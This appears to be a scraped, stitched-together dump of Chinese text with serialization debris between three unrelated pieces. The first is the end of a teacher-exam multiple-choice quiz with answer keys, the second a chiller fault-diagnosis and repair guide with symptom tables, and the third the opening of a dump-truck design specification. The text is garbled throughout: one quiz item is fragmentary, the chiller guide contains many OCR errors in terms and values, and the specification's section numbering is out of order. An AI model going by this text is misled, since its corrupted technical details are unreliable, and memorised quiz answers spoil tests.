@#@@#@　　A、是同时的@#@　　B、师范学校出现得早@#@　　C、教师成为一种独立的社会职业的时间早@#@　　D、说不清楚@#@　　【答案】C@#@　　77、以下表述不符合个体心理发展关键期的是（）。

@#@@#@　　A、某种能力获得的最佳时期@#@　　B、错过这个时期，个体难以获得这项能力@#@　　C、不可逆转的时期@#@　　D、0~3岁@#@　　【答案】D78、19世纪对班级组织的发展产生巨大的推动作用的“导生制”出现在（）。

@#@@#@　　A、德国@#@　　B、英国@#@　　C、美国@#@　　D、法国@#@　　【答案】B@#@　　79、使人格各部分整合和统一起来的核心力量是（）。

@#@@#@　　A、自我意识@#@　　B、自我认知@#@　　C、性格特征@#@　　D、能力@#@　　【答案】A@#@　　80、班级授课制在我国正式实行一般认为是在（）。

@#@@#@　　A、唐朝中期@#@　　B、明朝中期@#@　　C、清朝末年@#@　　D、辛亥革命以后@#@　　【答案】C@#@　　81、（）是态度改变的先决条件。

@#@@#@　　A、家庭教养方式@#@　　B、社会风气@#@　　C、认知失调@#@　　D、道德认知@#@　　【答案】C@#@　　82、C、格塞尔@#@　　D、弗洛伊德@#@　　【答案】C@#@　　C、班级教育活动@#@　　D、课外活动@#@　　【答案】C@#@　　83、中国古代“外铄论”的代表人物是（）。

@#@@#@　　A、孔子@#@　　B、荀子@#@　　C、孟子@#@　　D、老子@#@　　【答案】B@#@　　84、在教学工作中，主要目的在于巩固知识和培养技能技巧的环节是（）。

@#@@#@　　A、课外辅导@#@　　B、上课@#@　　C、布置和批改作业@#@　　D、学业成绩的检查和评定@#@　　【答案】C@#@　　85、3岁前婴儿一般不能进行哪种游戏（）。

@#@@#@　　A、独自游戏@#@　　B、合作游戏@#@　　C、平行游戏@#@　　D、动作游戏@#@　　【答案】B@#@";i:

11;s:

25296:

"冷水机组常见问题和故障的分析与解决方法@#@冷水机组常见问题和故障的分析与解决方法@#@冷水机组在中央空调系统运行时担负着提供冷量的重任，作为运行管理人员，除了要正确操作、认真维护保养外，能及时发现和排除常见的一些问题和故障，对保证中央空调系统不中断正常运行，减小因出现的问题和故障造成的损失及所付出的代价有重要作用。

@#@@#@1．冷水机组运行中故障的早期发现与分析@#@对冷水机组进行精心的维护保养，可以尽量减少故障的发生，但不可能杜绝故障的出现。

@#@因为冷水机组本身和客观的外部条件，使得冷水机组的结构制造、安装质量、使用方法和操作水平等优劣程度各异，不可能绝对地全部消除潜在的不利因素，因此构成冷水机组故障的不安全因素始终是存在的。

@#@@#@为了保证冷水机组安全、高效、经济的长期正常运转，在其使用过程中尽早发现故障的隐患是十分重要的。

@#@作为运行操作人员，可以通过“看、摸、听、想”来达到这个目的。

@#@@#@一看：

@#@看冷水机组运行申高、低压力值的大小。

@#@油压的大小，冷却水和冷冻水进出口水压的高低等参数，这些参数值以满足设定运行工况要求的参数值为正常，偏离工况要求的参数值为异常，每一个异常的工况参数都可能包含着一定的故障因素。

@#@此外，还要注意看冷水机组的一些外观表象，例如出现压缩机吸气管结霜这样的现象，就表示冷水机组制冷量过大，蒸发温度过低，压缩机吸气过热度小，吸气压力低。

@#@这对于活塞式擒口喹。

@#@机组将会引起“液击”；@#@对于离心式冷水机组则会引起踹振。

@#@@#@二摸：

@#@在全面观察各部分运行参数的基础上t进一步体验各部分的温度情况，用手触@#@摸冷水机组各部分及管道（包括气管、液管、水管、油管等），感觉压缩机工作温度及振动；@#@两器的进出口温度；@#@管道接头处的油迹及分布情况等。

@#@正常情况下，压缩机运转平稳，吸、排气温差大，机体温升不高；@#@蒸发温度低，冷冻水进出口温差大；@#@冷凝温度高，冷却水进、出口温差大；@#@各管道接头处无制冷剂泄漏则无油污等；@#@任何与上述情况相反的表现，都意味着相应的部位存在着故障因素。

@#@@#@用手摸物体对温度的感觉特征见表1。

@#@@#@表1触摸物体测温的感觉特征@#@温度／℃@#@手感特征@#@温度／℃@#@手感特征@#@@#@35@#@低于体温，微凉@#@65@#@强烫酌感，触3s缩回@#@@#@40@#@稍高于-体温，微温缸服@#@70@#@剧烫酌感，手指触3s缩回@#@@#@45@#@温和而稍带热感@#@75@#@手指触有针刺感，ls～2s缩回@#@@#@50@#@稍热但可长时间承受@#@80@#@有烘酌感，手一触即回，稍停留则有轻度酌伤@#@@#@55@#@有较强热感。

@#@产生回避意识@#@85@#@有辐射热，焦酌感，触及烫伤@#@@#@60@#@有烫酌感，触4s急缩回@#@90@#@极热，有畏缩感，不可触及@#@@#@@#@用手触摸物体测温，虽然只是一种体验性的近似测温方法，但它对于掌握没有设置测温点的部件和管道的温度情况及其变化趋势，对于迅速准确地判断故障有着重要的实用价值。

@#@@#@三听：

@#@通过对运行中的冷水机组异常声响来分析判断故障发生的性状和位置。

@#@除了听冷水机组运行时总的声响是否符合正常工作的声响规律外，重点要听压缩机、润滑油泵及离心式冷水机组的抽气回收装置的小型压缩机i系统的电磁阀、节流阀等设备有无异常声响。

@#@例如，运转中所到活塞式或离心式压缩机发出轻微的“嚓，嚓，嚓”声或连续均匀轻微的“嗡，嗡”声，说明压缩机运转正常；@#@如听到的是“咚，咚，咚”声或叶_轮时快时慢的旋转声，或者有不正常的振动声音，表明压缩机发生了液击或端振。

@#@@#@四想：

@#@应将从有关指示仪表和看、听、摸等方式得到的冷水机组运行的数据和材料进行综合分析，找出故障的基本原因，考虑应采取什么样的应急措施，如何省时、省料、省钱地将故障排除。

@#@@#@2．故障处理的基本程序@#@对冷水机组故障的处理必须严格遵循科学的程序办事，切忌在情况不清、故障不明、心中无数时就盲目行动，随意拆卸。

@#@这样做的后果往往会使已有的故障扩大化，或引起新的故障；@#@甚至对冷水机组造成严重损害。

@#@故障处理的基本程序如图1所示。

@#@@#@@#@@#@图1故障处理的基本程序@#@@#@ @#@@#@2．1调查了解故障产生的经过@#@①认真进行现场考察，了解故障发生时冷水机组各部分的工作状况，发生故障的部位，危害的严重程度。

@#@@#@②认真听取现场操作人员介绍故障发生的经迷及所采取的紧急措施。

@#@必要时应对虽有故障，但述可以在短时间内运转不会使故障进．一步恶化的冷水机组或辅助装置亲自启动操作，为正确分析故障原因掌握准确的感性认识依据。

@#@@#@③检查冷水机组运行记录表，特别要重视记录表中不同常态的运行数据和发生过的问题，以及更换和修理过的零件的运转时间和可靠性；@#@了解因任何原因引起的安全保护停机等情况。

@#@与故障发生直接有关的情况，尤其不能忽视。

@#@@#@④向有关人员提出询问，寻求其对故障的认识和看法。

@#@必要时要求操作人员讲述和演示自己的操作方法。

@#@@#@2．2搜集数据资料，查找故障原因@#@①详细阅读冷水机组的《使用操作手册》是了解冷水机组各种数据的一个重要来源。

@#@《使用操作手册》能提供冷水机组的各种参数（例如机组制冷能力，压缩机型式，电机功率、转速、电压与电流大小，制冷剂种类与充注量，润滑油量与油位，制造日期与机号等），列出各种故障的可能原因。

@#@将《使用操作手册》提供的参数与冷水机组运行记录表的数据综合对比，能为正确诊断故障提供重要依据：

@#@@#@②对机组进行故障检查应按照电系统（包括动力和控制系统）、水系统（包括冷却水和冷冻水系统）、油系统、制冷系统（包括压缩机、冷凝器、节流阀、蒸发器及管道）。

@#@四大部分依次进行，要注意查找引起故障的复合因素，保证稳、准、快地排除故障。

@#@@#@2．3分析数据资料，诊断故障原因@#@①结合制冷循环基本理论，对所收集的数据和资料进行分析，把制冷循环正常状况的各种参数作为对所采集的数据进行比较分析的重要依据。

@#@例如，根据制冷原理分析冷水机组的压缩机吸气压力过高，引起制冷剂循环量增大，导致主电机超载。

@#@而压缩机吸气压力过高的原因与制冷剂充注量过多、热力膨胀阀和浮球阀开度过大、冷凝压力过高、蒸发器负荷过大等因素有关。

@#@若收集到的资料发现制冷系统中吸气压力高于理论循环规定的吸气压力值或电机过载，则可以从制冷剂充注量、蒸发器负荷、冷凝器传热效果、冷却水温度等方面去检查造成上述故障的原因。

@#@@#@②运用实际工作经验进行数据和资料的分析。

@#@在掌握了冷水机组正常运转的各方面表现后，一旦实际发生的情况与所积累的经验之问产生差异，便马上可以从这一差异中找到故障的原因。

@#@例如活塞式冷水机组在正常启动时，是不会产生“液击”现象的，当实际启动过程中发生了“液击”，而且视油镜油位并未表现出润滑油泡化现象，则可以判定被活塞式压缩机吸入的液态制冷剂并不是来源于晦轴箱内的润滑油，而是来源于蒸发器。

@#@在活塞式冷水机组中，停车期间蒸发器内的液态制冷剂只能来源于高压部分，也就是说高压液态制冷剂经电磁阀和热力膨胀阀进入了蒸发器。

@#@’膨胀阀由感温包控制，冷水机组停机后蒸发器出IZl端温度升高，膨胀阀芯自动开大属正常现象。

@#@因此，冷水机组停机时，使高压液态制冷剂进入蒸发器的只有电磁阀关闭不严一个因素。

@#@由此分析可知是电磁阀出现了故障，排除此故障后上述“液击”现象就会自动消除。

@#@可见将实际经验与理论分析结合起来，剖析所收集到的数据和资料，有利于透过一切现象，抓住故障发生的本质原因，并能准确、迅速地予以排除。

@#@@#@③根据冷水机组技术故障的逻辑关系进行数据和资料分析。

@#@冷水机组技术故障的逻辑关系及检查方法是用于分析和检验各种故障现象原因的有效措施。

@#@把各种实际采集到的数据与这一逻辑关系联系起来，可以大大提高判断故障原因的准确性和维修工作进展的速度。

@#@通常把冷水机组运转中出现的故障分为三类：

@#@①机组不启动；@#@②机组运转但制冷效果不佳，③机组频繁开停。

@#@各类故障的逻辑关系如图2所示。

@#@@#@2．4确定维修方案@#@①从可行性角度考虑维修方案@#@首要的是如何以最省的经费（包括材料、备件、人工、停机等）来完成维修任务，经费应控制在计划的维修经费数额以内。

@#@当总修理费用接近或超过新购整机费用时，在时间允@#@许的条件下，应把旧机作报废处理。

@#@@#@②从可靠性角度考虑维修方案@#@通常冷水机组故障的处理和维修方案不是单一的。

@#@从冷水机组维修后所起的作用来看，可分为临时性的、过渡性的和长期的三种情况，各种维修方案在经费的投入、人员的投入、维修工艺的要求、维修时间的长短、使用备件的多少与质量的优劣等方面，均有明显的差别，应根据具体情况确定合适的方案@#@③选用对周围环境干扰和影响最小的维修方案@#@维修过程会对建筑物结构及居民产生安全及噪声伤害和环境污染的方案，都应极力避免采用。

@#@@#@④在认真分析各方面的条件后了找出适合现场实际情况的维修方案@#@一般这些维修方案适用于进行调整、修改、修理或更换失效组件等内容中的一项或数项的综合行动。

@#@@#@2．5实施维修操作@#@①根据所定维修方案的要求，准备必要的配件、工具、材料等，做到质量好、数量足、供应及时。

@#@@#@②进行排除故障的维修时，应按检查程序相反的步骤，即氟一油一水一电四个系统的先@#@后顺序进行故障排除，以避免因故障交叉而发生维修返工现象，节省维修时间，保证维修@#@质量。

@#@@#@③正确运用制冷和机械维修等方面的知识进行操作。

@#@例如压缩机的分解与装配、制@#@冷系统的清洗与维护、控制系统设备及元器件的调试与维修，钎焊、电焊、机组试压、检漏、@#@抽真空、除湿、制冷剂和润滑油的充注和排出等操作。

@#@@#@④分解的零件必须排列整齐，做好标记，以便识别、防止丢失。

@#@@#@⑤重新装配或更换零部件时，应对零部件逐一进行性能检查，防止不合格的零件装@#@入机组，造成返工损失。

@#@@#@2．6检查维修结果@#@①检查维修结果的目的在于考察维修后的冷水机组是否已经恢复到故障发生前的技术性能。

@#@采取在不同工况条件下运转机组的方法，全面考核是否因经过修理给机组带来了新的问题。

@#@发现问题应立即予以纠正。

@#@@#@②对冷水机组进行必要的验收试验，应按照先气密性试验、后真空试验，先分项试验、后整机试验的原则进行。

@#@不允许用冷水机组本身的压缩机代替真空泵进行真空试验，以免损@#@ @#@@#@@#@（a）机组不启动的故障逻辑关系@#@@#@@#@（b）机组运转但制冷效果不佳的故障逻辑关系@#@@#@@#@（c）机组频繁开停的故障逻辑关系@#@@#@图2冷水机组故障逻辑关系图@#@@#@坏压缩机。

@#@@#@③除检查冷水机组的技术性能外，还要注意保护好机组整洁的外观和工作现场的清洁卫生。

@#@工作现场要打扫干净，擦掉溅出的油污，清除换下的零件和垃圾，最后清理工具和配件，不能将工具或配件遗忘在冷水机组内或工作现场。

@#@@#@④由于操作人员失误造成故障的冷水机组，维修人员应与操作人员一起进行故障排除或修复。

@#@事后一起进行机组试运行检查，一起讨论适合该机组特点的操作方法，改变不良操作习惯，避免同类故障再度发生。

@#@@#@3．离心式机组常见问题和故障的分析与解决方法@#@表2列出了开利19XL型离心式机组常见的问题和故障与检查对象，参考该表，一般小的问题或故障操作人员可以根据实际情况自行解决或排除，对于较为严重的或自行解决或排除没有把握的问题和故障，应请专业维修人员来解决或排除，以免造成不必要的额外损失。

@#@@#@表2开利19XL型离心式冷水机组常见的问题和故障与检查对象@#@问题或故障@#@主要检查对象@#@@#@电机温度过高@#@1．电机冷却系统管路是否有异常现象@#@2．确认短时间内开机次数是否太频繁@#@@#@轴承温度过高@#@1．油加热器的动作是否正常@#@2．油位是否太低@#@3．供油管路上的阀是否全开@#@@#@油温过低@#@1．油加热器供电是否正常@#@2．油加热器继电器是否有故障@#@3．油位是否适当@#@@#@排气温度过高@#@I．确认是否有启动太频繁的情况@#@2．冷却水量及水温是否适当@#@3．冷凝器铜管内是否太脏@#@4．系统内是否有空气@#@@#@冷凝器压力过高@#@冷却水进水温度是否太高@#@@#@油压太低@#@1．油箱出口阀是否被关闭@#@2．油过滤器是否堵塞@#@3．油温是否太低@#@@#@冷冻（却）水流量太小@#@1．水泵运行是否正常@#@2．所有水阀开启的位置是否适当@#@3．泵体内是否有空气@#@@#@冷冻水出水温度太高@#@1．出水温度设定值太高@#@2．机组已满负荷运行，是否实际负荷大于机组容量@#@3．冷却水进水温度是否过高@#@4．制冷剂是否不足@#@5．蒸发器的分隔板和垫片是否有漏造成旁通@#@@#@4．螺杆式机组常见问题和故障的分析与解决方法@#@表3列出了日立RCU型水冷螺杆式机组常见问题和故障的分析、检查或解决方法，可供参考。

@#@@#@表3日立RCU型水冷螺杆式机组常见问题和故障的分析、检查或解决方法@#@问题或故障@#@可能原因@#@检查或解决方法@#@@#@排气压力过高@#@1．冷凝器进水温度过高或流量不够@#@2．系统内有空气或不凝结气体@#@3．冷凝器铜管内结垢严重@#@4．制冷剂充灌过多@#@5．冷凝器上进气阀未完全打开@#@6．吸气压力高于正常情况@#@1．检查冷却塔、水过滤器和各个水阀@#@2．排除@#@3．清洗铜管@#@4．排出多余量@#@5．全打开@#@6．参考“吸气压力过高”故障处理@#@@#@排气压力过低@#@1．通过冷凝器的水流量过大@#@2．冷凝器的进水温度过低@#@@#@3．大量液体制冷剂进入压缩机@#@4．制冷剂充灌不足@#@5．吸气压力低于标准@#@1．调小阀门@#@2．调节冷却塔风机转速或风机工作@#@台数@#@3．检查膨胀阀及其感温包@#@4．充灌到规定量@#@5．参考“吸气压力过低”故障处理@#@@#@吸气压力过高@#@1．制冷剂充灌过量@#@2．在满负荷时，大量液体制冷剂流入压缩机@#@1．排除多余量@#@2．检查和调整膨胀阀及其感温包@#@@#@@#@吸气压力过低@#@1．未完全打开冷凝器制冷剂液体出口阀门@#@2．制冷剂过滤器有堵塞@#@3．膨胀阀调整不当或故障@#@4．制冷剂充灌不足@#@5．过量润滑油在制冷系统中循环6．蒸发器的进水温度过低@#@7．通过蒸发器的水量不足@#@1．全打开@#@@#@2．更换过滤器@#@3．调校正确或排除故障@#@4．补充到规定量@#@5．查明原因，减少到合适值@#@6．提高进水温度设定值@#@7．检查水泵、水阀@#@@#@压缩机因高压保@#@护停机@#@1．通过冷凝器的水量不足@#@2．冷凝器铜管堵塞@#@3．制冷剂充灌过量@#@4．高压保护设定值不正确@#@1．检查冷却塔、水泵、水阀@#@2．清洗铜管@#@3．排除多余量@#@4．正确设定@#@@#@压缩机因主电机@#@过载停机@#@1．电压过高或过低或相间不平衡@#@@#@@#@2．排气压力过高@#@3．回水温度过高@#@4．过载元件故障@#@5．主电机或接线座短路@#@1．查明原因，使电压值与额定值误差在10％以内或相间不平衡率在3％以内@#@2．参考“排气压力过高”栏目@#@3．查明原因，降低@#@4．排除或更换@#@5．查明原因，修复@#@@#@压缩机因主电机@#@温度保护而停机@#@1.（同上（1.2.3）@#@2．（同上（1.2.3）@#@3．（同上（1.2.3）@#@4．温度保护器件故障@#@5．制冷剂充灌不足@#@6．冷凝器气体入口阀关闭@#@1.（同上（1.2.3）@#@2.（同上（1.2.3）@#@3.（同上（1.2.3）@#@4．排除或更换@#@5．补充到规定量@#@6．打开@#@@#@压缩机因低压保@#@护停机@#@1．制冷剂过滤器堵塞@#@2．膨胀阀故障@#@3．制冷剂充灌不足@#@4．未打开冷凝器液体出口阀@#@1．更换@#@2．排除或更换@#@3．补充到规定量@#@4．打开@#@@#@压缩机有噪声@#@压缩机吸入液体制冷剂@#@调整膨胀阀@#@@#@压缩机不能运转@#@1．过载保护断开或控制线路保险丝烧断@#@2．控制线路接触不良@#@3．压缩机继电器线圈烧坏@#@4．相位错误@#@1．查明原因，更换@#@@#@2．检修@#@3．更换@#@4．调整正确@#@@#@卸载系统不能@#@工作@#@1．温控器故障@#@2．卸载电磁阀故障@#@3．卸载机构损坏@#@4．控制油路堵塞@#@1．排除或更换@#@2．排除或更换@#@3．修理或更换@#@4．疏通@#@@#@5．活塞式机组常见问题和故障的分析与解决方法@#@表4列出了开利30HK／HR型活塞式机组常见问题和故障的分析与解决方法，表5则列出了该机型一些常见问题或故障的现象，可供诊断故障时参考。

@#@@#@表4开利30HK／HR型活塞式机组常见问题和故障的分析与解决方法@#@问题或故障@#@原因分析@#@解决方法@#@@#@吸气压力过@#@低（低压保护@#@开关动作，故@#@障指示灯亮）@#@1．系统内制冷剂不够@#@

（1）有泄漏@#@

（2）充灌量不足@#@

（1）查出泄漏处，堵漏后补足@#@

（2）补足@#@@#@2．供液电磁阀故障@#@

（1）电磁阀电气线路有问题@#@

（2）电磁阀有问题@#@

（1）检查电气线路@#@

（2）检修电磁阀@#@@#@3．冷冻水出水温度过低@#@

（1）出水温度设定过低@#@

（2）水流量太小@#@

（1）提高设定值@#@

（2）加大水流量@#@@#@4．干燥过滤器堵塞@#@5．供液截止阀堵塞@#@6．热力膨胀阀故障@#@7．压缩机吸气滤阀堵塞@#@4．清洗或更换@#@5．清洗@#@6．检修或更换@#@7．清洗@#@@#@吸气温度@#@过低@#@1．热力膨胀阀开启度过大@#@2．系统内制冷剂过多@#@3．冷冻水出水温度太低@#@4．蒸发器内隔离密封垫床有漏@#@5．机组停机时没有进行油加热@#@@#@1．调小开启度@#@2．减少到合适量@#@3．提高出水温度设定值@#@4．检修或更换@#@5．检修油加热器，保证停机时自动加热@#@@#@吸气温度@#@过高@#@1．吸气压力太低，电机外壳发热@#@2．膨胀阀开启度太小，吸气过热度太大@#@3．电机线圈发热@#@4．冷冻水进出水温度过高@#@1．查明原因，提高吸气压力@#@2．调大膨胀阀开启度@#@3．查明原因，降低电机温升@#@4．降低@#@@#@排气压力过@#@高（高压保护@#@开关动作，故@#@障指示灯亮）@#@1．冷却水流量太小@#@

（1）冷却水泵故障@#@

（2）冷凝器管道有堵塞@#@

（1）查明原因，排除@#@

（2）清洗管道@#@@#@2．冷却水进口温度偏高@#@

（1）冷却塔风机不转或反转@#@

（2）冷却塔通风不良@#@（3）冷却塔容量偏小@#@（4）冷却水循环量偏小@#@

（1）启动风机，反转的改正@#@

（2）改善通风环境@#@（3）更换合适的或添加新塔@#@（4）加大循环水量@#@@#@3．冷凝器内管道有水垢@#@4．冷凝器隔离密封垫床破损，冷却水进出口之间短路@#@5．冷凝器内有较高的不凝性气体（空气）压力@#@6．系统内制冷剂过多@#@7．压缩机排气通道阀门有故障@#@3．清除。

@#@@#@4．更换@#@5．停机排放@#@6．减少到合适量@#@7．排除阀门故障@#@@#@排气温度过@#@高（排气高温@#@故障指示灯@#@亮，机组停@#@机）@#@1．电机线圈发热@#@

（1）电机电压、电流不平衡或缺相@#@

（2）吸气压力低，吸气过热，线圈得不到冷却@#@（3）压缩机发生机械故障，运转困难，造成电机超负荷工作@#@

（1）查明原因，使其达到平衡或不缺相@#@

（2）查明原因，提高吸气压力@#@@#@（3）排除压缩机故障@#@@#@@#@2．吸、排气阀片碎裂，引起气缸、活塞损坏，机体发热。

@#@此外，由于阀片损坏，高低压力串通，气缸内进行二次压缩，温度上升@#@3．气缸阀板密封垫床损坏，高低压力串通，气缸内进行二次压缩，温度上升@#@4．排气压力过高@#@5．润滑不良引起机械故障，致使电机发热@#@2．更换损坏的阀片@#@3．更换损坏的垫床@#@4．查明原因，降低排气压力@#@5．改善润滑状况@#@@#@电机过载保@#@护断流器跳@#@闸（断流器断@#@路指示灯亮）@#@1．电源电压超出340V～440V范围@#@2．电源三相电压不平衡值大于2％@#@3．电源三相电流不平衡值大于10％@#@4．主电源接线接触不良，电线发热（绝缘层熔化），线电流增大@#@5．压缩机由于缺油或断油，造成运动部件咬死，电机转不动，电流猛升@#@6．主电源380V缺相，电机在二相状态下运转，电流猛升@#@7．电机A、B绕组与电源接线不对相，引起部分绕组缺相和相电压不平衡@#@1．查明原因，恢复到正常范围内@#@2．查明原因，降低到标准值以下@#@3．查明原因，降低到标准值以下@#@4．改善接线状况@#@5．查明原因，改善压缩机润滑状况@#@6．补全三相@#@7．重新正确接线@#@@#@电机烧毁（断@#@流器断路指@#@示灯亮）@#@1．压缩机机械故障（如断油，运动部件卡死）引起断流器跳闸，在没有排除该故障的情况下，将断流器重新多次合上，多次启动电机，多次跳闸@#@2.036型机组部分绕组启动延时间隔超过2s，但断流器未跳闸，几次启动运转后，引起部分绕组启动时间长而发热，直至烧坏绕组@#@1．拆开吸气端盖，取出烧坏的定子（绕组），修理或更换。

@#@同时必须将压缩机也全部拆开清洗@#@2.036型机组启动前必须检查时间继电器是否把A、B两绕组的启动间隔时间设定在1s～1.5s@#@@#@@#@@#@表5开利30HK／HR型活塞式机组一些常见问题或故障的现象@#@问题或故障@#@现象@#@@#@系统内制冷剂不够@#@1．视镜内可看到大量气泡@#@2．制冷剂液管全部结霜@#@3．吸气压力低于0.3MPa（3kg／cm2）@#@@#@干燥过滤器堵塞@#@1．过滤器前后温度不一样@#@2．过滤器出口处结霜@#@@#@供液截止阀堵塞@#@1．阀前后温度不一样@#@2．阀后结霜@#@@#@热力膨胀阀堵塞@#@1．阀前后无温度差（不通）@#@2．阀出液部分严重结霜堵塞@#@@#@吸气温度过低@#@1．低压侧结霜严重@#@2．压缩机气缸内有液击声@#@@#@1．冷凝器内管道有堵塞@#@2．冷凝器内管道结垢过厚@#@冷凝器进出口压差△p>@#@O．1MPa（1kg／cm2）@#@@#@冷凝器内管道结垢过厚，换热效果差@#@冷凝器进出口压差正常，但进出口温差△t<@#@2℃@#@@#@冷凝器隔离密封垫床破损冷却水进出口之间短路@#@冷凝器进出1：

@#@I压差Ap<@#@0.05MPa（O．5kg／cm2），进出口温差△t<@#@2℃@#@@#@蒸发器或冷凝器漏水@#@1．制冷剂视镜显示为铁锈色@#@2、供液管路堵塞严重@#@3．用制冷剂检漏仪对冷冻水或冷却水进行检测，有含制冷剂的反应@#@4．系统中的制冷剂严重减少，在进行气密性试验时其他部位又找不到泄漏点，而压力又不能保持@#@@#@润滑油：

@#@1．油脏@#@2．有水、变质@#@油色：

@#@1．发黑@#@2．发红@#@@#@1．电源三相不平衡或电压变化@#@2．压缩机吸入液体制冷剂@#@电流表指针大幅度摆动@#@";i:

12;s:

23525:

"后翻自卸车设计规范概要@#@后翻自卸车设计规范@#@1.范围@#@本标准规定了后翻自卸车的分类、液压系统、副车架及其连接和自卸车箱体的技术要求，设计标准。

@#@@#@本标准适用于公司内部后翻自卸车（轻量化除外）上装的设计制造过程。

@#@@#@2.规范性引用文件@#@下列文件中的条款通过本规范的引用而成为本规范的条款。

@#@凡是注日期的引用文件，其随后所有的修改单（不包括勘误的内容）或修订版均不适用于本规范，但是，鼓励根据本规范达成协议的各方研究是否可使用这些文件的最新版本。

@#@凡是不注日期的引用文件，其最新版本适用于本规范。

@#@@#@GB7258-2004机动车运行安全技术条件@#@GB1589-2004道路车辆外廓尺寸、轴荷及质量限值@#@GB4785汽车及挂车外部照明和信号装置的安装规定@#@GB/T18411道路车辆产品标牌@#@QC/T222自卸汽车通用技术条件@#@GB11567.1-.2汽车和挂车侧面及后下部防护要求@#@GB/T3766液压系统通用技术条件@#@QC/T413—2002汽车电气设备基本技术条件@#@ZBT59005自卸汽车换向阀技术条件@#@QC/T319-1999自卸汽车取力器技术条件@#@QC/T460-1999自卸汽车液压缸技术条件@#@QC/T223-1997自卸车性能试验方法@#@QC/T75矿用自卸汽车定型试验规程@#@JB/T5943工程机械焊接通用技术条件@#@JB/T7949钢结构焊缝外形尺寸@#@GB985气焊、手工电弧焊及气体保护焊焊缝坡口的基本形式及与尺寸@#@GA406车身反光标识@#@HG2-590各色醇酸磁漆@#@QC/T484汽车油漆涂层@#@QC/T518汽车用螺纹紧固件扭矩@#@QC/T597螺纹紧固件预涂微胶囊厌氧干膜胶@#@QC/T29104专用汽车液压系统液压油固体污染度限值@#@QC/T460-1999自卸汽车栏板锁紧装置技术条件@#@3.后倾自卸汽车的分类@#@按举升方式：

@#@腹置举升自卸车、前置举升自卸车@#@4.自卸车技术要求@#@4.1整车要求@#@4.1.1自卸汽车整车必须符合本规范要求，并按照规定程序批准的图样及技术文件制造。

@#@@#@4.1.2自卸汽车外廓尺寸应符合GB1589-2004《道路车辆外廓尺寸、轴荷及质量限值》的规定，货箱内部尺寸等必须符合产品公告和图纸要求。

@#@@#@4.1.3自卸汽车上装按质心，轴荷设计要求计算，严格按图纸及公告尺寸施工。

@#@@#@4.1.4传动轴符合QC/T29082《汽车传动轴总成技术条件》及QC/T523《汽车传动轴总成台架试验方法》的要求。

@#@传动轴的布置角度不大于6°@#@，且输入和输出法兰端面法向平行。

@#@@#@4.1.5照明及信号系统应符合GB4785-1998《汽车及挂车外部照明和信号装置的安装规定》的要求。

@#@@#@a．自卸车应安装两只红色后示廓灯，安装在后立柱上部；@#@（后倾自卸车例外）@#@b．自卸车应安装两只红色前示廓灯，安装在前立柱上部；@#@（后倾自卸车例外）@#@4.1.6根据GB7258《机动车运行安全技术条件》8.2要求：

@#@车长大于等6m的机动车应安装侧反射器和侧标志灯，其数量、位置、光色、最小几何可见度参照GB4785执行；@#@在车箱设置车身反光标识，车身反光标识应符合GA406的规定。

@#@制动性能和侧倾稳定角应符合GB7258。

@#@自卸车应安装侧标志灯和侧回复反射器，琥珀色，安装位置高度距地面不得小于900，不得大于1500，最好是车架边纵梁处，整车纵向位置是距前部小于3000，距后部小于900，两灯中间位置相距小于3000，最大不能超过3500；@#@@#@a．后转向灯、后位灯离地高度不得小于900，大于1200，后位灯距外廓侧面不得小于400；@#@@#@b．车辆后部必须安装一只红色后雾灯，不能与后位灯干涉，二者相距至少200；@#@@#@c．车辆后部必须安装后回复反射器，三角形红色2只，安装在保险杠上或后尾板上，距车辆左右侧不得小于400，并且对称安装。

@#@@#@4.1.7焊接件应按JB/T5943《工程机械焊接通用技术条件》的规定施焊。

@#@焊缝均匀、光滑，焊接要牢固、可靠，不得有裂纹、夹渣、焊穿、漏焊现象。

@#@@#@5.5加速行驶时车外允许最大噪声应符合GB1495的规定。

@#@@#@5.11所有零部件、总成件、外协件、外购件应符合有关标准，应有产品合格证。

@#@@#@5.12自卸汽车的动力性、操纵稳定性、通过性应能满足原底盘要求。

@#@@#@4.1.8自卸车外观质量。

@#@@#@a．油漆涂层应符合QC/T484汽车油漆涂层的规定，油膜应能自然干燥。

@#@@#@b．自卸车外观不应有图样未规定的凸起、凹陷和其它损伤。

@#@各栏板，车架，侧防护栏、后防护杠应平整、匀称，无翘曲变形。

@#@@#@c．零部件外露结合面的边缘应整齐、均匀，不应有明显的错位，其错位量不得超过规定值。

@#@@#@d．自卸车各连接部分的零件不应有损坏，永久变形等现象，各部连接销轴要可靠且转动自如，所有螺栓联结都要采用防松措施，被紧固件为薄板件时还要加平垫圈。

@#@@#@e．所有外露黑色金属表面均应作防锈处理。

@#@外表面装饰漆应美观大方，色泽鲜明，分界整齐，无漏喷、流挂、起皱、起泡、针孔、脱漆、发花、反粘、颗粒、夹杂、倒光等缺陷，漆膜附着牢固，坚硬，光滑平整、厚薄均匀，干净无尘。

@#@@#@f．漆膜下不允许出现红丝和透过漆膜的锈斑。

@#@相互接触的非配合装配面在装饰前要喷防锈漆，由于加工或焊接损坏的底漆要重新涂装。

@#@@#@4.1.9自卸车应设置侧防护装置，侧防护装置的尺寸，强度及安装位置应符合GB11567.1-2001《汽车和挂车侧面防护要求》的要求。

@#@@#@a．自卸车左右侧必须安装横杆结构的侧面防护装置；@#@@#@b．侧面防护装置不应增加车辆的总宽，外表面的主要部分位于车辆最外侧以内不大于120mm的位置，装置后端有300mm位于后轮胎最外侧以内不大于30mm的位置。

@#@@#@c．侧面防护装置外表面应光滑且连续，尽量采用横杆结构，横杆间距不大于300mm，横杆截面高度不小于100mm。

@#@@#@d．后缘与最靠近它的轮胎外圆距离小于300mm。

@#@@#@e．侧面防护装置的下缘最大离地高度为500mm-550mm，全长方向上不得有凸出超过5mm的物体。

@#@@#@f．上缘距车辆上部构件的距离，即距车架边纵梁的距离不得大于350mm，且离地高不得小于950mm。

@#@@#@g．侧面防护装置前缘要光滑倒圆，圆角半径大于5mm。

@#@@#@4.1.10自卸车应设置后防护装置，后防护装置的尺寸，强度及安装位置应符合GB11567.2-2001《汽车和挂车后下部防护要求》的要求。

@#@@#@a．后防装置下边缘的离地高度应不大于550mm；@#@@#@b．后防装置的宽度不得大于车辆后轴两侧车轮最外点的距离，且任一端最外边缘与这一侧车辆后轴车轮最外端的水平横向距离不大于100mm，后防装置宽度一般应为2320mm；@#@@#@c．后防装置截面一般应为断面（140-160）×@#@6折弯件，但也可为与折弯件等断面的槽钢。

